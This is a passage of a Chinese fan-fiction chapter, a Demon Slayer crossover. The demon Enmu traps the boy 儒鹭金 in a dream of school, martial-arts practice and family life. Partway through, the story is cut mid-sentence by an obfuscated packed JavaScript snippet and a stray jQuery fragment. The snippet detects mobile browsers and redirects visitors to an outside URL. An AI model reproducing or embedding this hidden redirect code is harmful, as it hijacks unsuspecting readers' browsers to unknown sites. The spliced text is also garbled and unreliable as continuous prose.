“炼狱先生?”


    灶门炭治郎注意到炼狱杏寿郎沉思的表情。


    *


    被一手掐住脖子的魇梦瞪大了眼睛,眼里倒映着蓝发少年冷冽的模样。


    突然,他低低的笑出声,那只手掐着他的脖子毫不犹豫的捏碎喉骨。


    “是你……”


    魇梦从喉咙里发出破碎的声音,不顾口中溢出的鲜血笑声越来大,逐渐癫狂。


    “你咳、杀不了我……”


    只要见过儒鹭金的鬼都能明白他们之间无法弥补的差距。


    在见到儒鹭金前,魇梦只想把那个违背无惨大人意愿的生物碾成碎沫,让无惨大人高兴高兴。


    可只一面,魇梦就差点成为粉末。


    如果不是他反应及时,恐怕早就死了。


    被追杀在生死线上的几天,魇梦常常感到迷茫。


    世界上真的会有专门克制鬼的存在吗?


    小圆球发光的时候代表儒鹭金体内的太阳能已经多到外溢的程度,相当于一颗发光的小太阳。


    阳光杀鬼不看实力,平等的灭掉每一只鬼。


    还未触碰就能让鬼有灰飞烟灭的风险。


    而魇梦更是被克制的死死的。


    被鬼舞辻无惨变成的鬼有两种:一种是只有鬼体质的鬼,一种是另外还拥有血鬼术,有特异功能的鬼。


    魇梦血鬼术的介媒是眼睛,让对方陷入幻觉。


    对看不见的儒鹭金没有作用。


    而现在让魇梦看见主动卸下阳光,获得视力的儒鹭金他怎么能不高兴。


    简直是自动掉进陷阱的羊羔。


    魇梦伸手直接抓向儒鹭金,对面的少年却在下一秒就化为了液体,下一秒一颗球出现,直接重击魇梦。


    魇梦的身体被恐怖的力道击中,肉眼可见的凹陷下去。


    但鬼拥有恐怖的恢复力。


    魇梦随手掰正错位的骨头,身体长回了原样。


    实力上儒鹭金单方面碾压,还有闲心改变拟态人形球形一起上,锻炼自己的新能力。


    他还没蠢到把弱点暴露出来,人形是无视力的状态。


    突然,梦魇躲避的动作一滞,在儒鹭金的手穿进他的心口时,猛地拉进与儒鹭金的距离。


    【睡吧。】


    他勾唇呢喃。


    *


    “嘿儒鹭金。”


    有人搭上了儒鹭金的肩膀。


    “发什么呆呢,师父刚刚可在表扬你。”


    “李宫澄?”


    看着凑上来的人,儒鹭金有些走神。


    一身练功服的李宫澄抱着水瓶坐到儒鹭金身旁。


    他大儒鹭金一岁,与儒鹭金是同班同学,两人一起长大,又一起在武术馆里练功学习。


    “怎么了,不是我还能是谁?”


    李宫澄额发是刚刚练武术被汗湿的痕迹,他放下水杯对着儒鹭金伸拳比划了两下,意犹未尽的问:“诶,你刚刚是怎么打的,连师傅都被你踹趴下了。”


    刚刚他们在武术考试,儒鹭金是第一名。


    “我……”


    “嗨呀,你肯定会说不小心的,老凡尔赛了。”


    “总之。”李宫澄用胳膊肘怼了怼儒鹭金,一脸真诚,“教教哥哥呗。”


    “……滚。”


    儒鹭金离他远了点,非常无语,“再这样叫我就要揍你了。”


    李宫澄拍拍胸脯,一脸大义凛然,“来,顺便把对师傅的那招使出来让我偷偷师。”


    “好吧,教给你。”


    将自己小猪乔治搞怪造型的水杯放下,儒鹭金突然笑容灿烂,抬腿。


    李宫澄一惊,抬起手臂格挡,却见儒鹭金身形一转猛踹在沙袋上。


    沙袋受到重击,高高荡起。


    李宫澄下意识咽了咽口水。


    “这样使力一转。”


    儒鹭金又演示了一遍,随后站稳,一脸语重心长的拍拍李宫澄的肩膀。


    “为师只能帮你到这了。”


    李宫澄:“……师父再爱我一次。”


    等两人大汗淋漓的坐回原位,李宫澄粗喘着气用毛巾擦了擦汗,突然想起来什么。


    “前几天是不是有人给你表白来着?”


    他贱兮兮的问,“怎么回复的人家?”


    “表白?”儒鹭金疑惑。


    “还是个班花来着,不会吧,你这就把人家忘到脑后了?”


    儒鹭金想起来了,闻言虚着眼看李宫澄,“咱们才五年级,想这些李宫澄你脑子没事儿吧?”


    “这不是好奇吗。”李宫澄嘟囔一句,“要是我我就答应了。”


    儒鹭金嫌弃脸,“还是专心学业吧,我们就要六年级了,听说今年的题很难。”


    “真不想学习啊……”


    李宫澄叹气,随后问:“你想好以后上哪所学校了吗?”


    他们现在的学校只到5年级。


    “你爸妈估计会很看重吧,我这成绩估计不能和你一个学校了,你还能往上努努。”


    “我爸妈……”


    儒鹭金垂下眼,“希望能考好吧。”


    接下来的日子儒鹭金努力学习,与同样穿着校服的同学一起奋笔疾书。


    课间找到那个女生的班级,悄悄退回了那封情书。


    回到家被年幼的弟弟妹妹包围着,吵着闹着要一起玩耍。


    父母恩爱的看着孩子们。


    一脸恩爱……


    不知道为什么,有种想哭的感觉。


    “哥哥给我扎头发嘛。”


    儒鹭金被叫住,笑着揉了揉妹妹的脑袋,“怎么不让妈妈给你扎?”


    “哥哥扎的好看。”儒曦涵鬼灵精拉着儒鹭金让他弯下腰,垫脚凑到他耳边,“妈妈扎的头皮疼。”


    儒鹭金无奈,搬到脚边一个小板凳,“那你想让哥哥给你扎个什么样的呀?”


    儒曦涵早早拿来了自己的梳子和头饰,笑嘻嘻的坐下,“要最好看的。”


    “蝶蝶!”


    “是姐姐,弟弟真笨,连姐姐都叫不清楚。”


    扎头发时,最小的


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14706479|154286||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    弟弟脚步一晃一晃的走过来,嘴角又流了口水。


    儒曦涵表情嫌弃的用儒致以脖子上的口水巾给他擦了擦口水,爱美的她自小有点洁癖。


    “得得!”


    儒鹭金笑着应声,“致以真棒。”


    儒致以咯咯笑起来。


    明明是很温情的一幕,儒鹭金却愣住了。


    好像少了点什么。


    这个念头一闪而过。


    ……


    其实儒鹭金的父母早早给儒鹭金规划好了以后的学校,是市里最好的那所。


    但儒鹭金的分数不够。


    以他的成绩再努力也只能上个好一点的学校,可他不敢告诉父母。


    “儒鹭金,上课又走神,起来回答这一题!”


    英语是儒鹭金最差的一门。


    感受到英语老师强烈的压迫感,儒鹭金颤颤巍巍的站起身,以往不会的单词却像打通了人任督二脉一样,认的完全还看出了英语老师写错的一个单词。


    被老师夸奖着坐下时,儒鹭金的表情是恍惚的。


    他翻着英语书,突然发现自己看得懂这些英语了。


    简单的像给婴儿学的。


    他猛然惊醒。


    一下课,儒鹭金就蹿到李宫澄面前,猛晃着他的肩膀一脸惊恐,“李宫澄,觉得我在做梦!”


    李宫澄一巴掌拍在儒鹭金脸上,“疼不?”


    儒鹭金:“……有点。”


    他笑眯眯的扬起自己的巴掌,“先让我还回来再说。”


    一顿闹腾,李宫澄被儒鹭金按在地上摩擦。


    李宫澄大喊:“我不服!你小子肯定是又趁我不在的时候偷偷练习了!”


    儒鹭金按住不让他乱动,“你听我说,我发现英语很简单,是不是很奇怪?”


    李宫澄:“你就是因为这个才觉得自己在做梦?”


    儒鹭金郑重的点点头。


    李宫澄:“你说两句我听听。”


    儒鹭金给他说了一段美式发音的英语,流利顺畅,甚至还有他没学过的单词也轻易的说了上来。


    李宫澄大为震撼:“卧槽,虽然听不懂,但感觉好牛逼,你开挂了吧?”


    “我现在也相信你是在做梦了,我觉得我也在做梦,不然怎么会梦到被你按在地上摩擦呢?”


    两个英语学渣面面相觑。


    “别说脏话。”儒鹭金一拍李宫澄的背,“还有,我总觉得我现在不止11岁。”


    李宫澄听的一愣一愣的,“我觉得世界真有点玄幻了,你还想偷闵雨霏的小兔子吗?”


    “想啊真的可爱死了,不过那不是小沫沫的兔子吗?”


    儒鹭金反应过来什么,反手扯住李宫澄的脸,“我是真的。”


    李宫澄疼的嗷嗷叫:“试探一下,试探一下不行吗?”


    其实儒鹭金还总觉得自己丢了什么,莫名的没有说出来。


    是什么呢?


    ‘好像还有什么重要的承诺没有实现。’


    ‘好像还要去见一个重要的人。’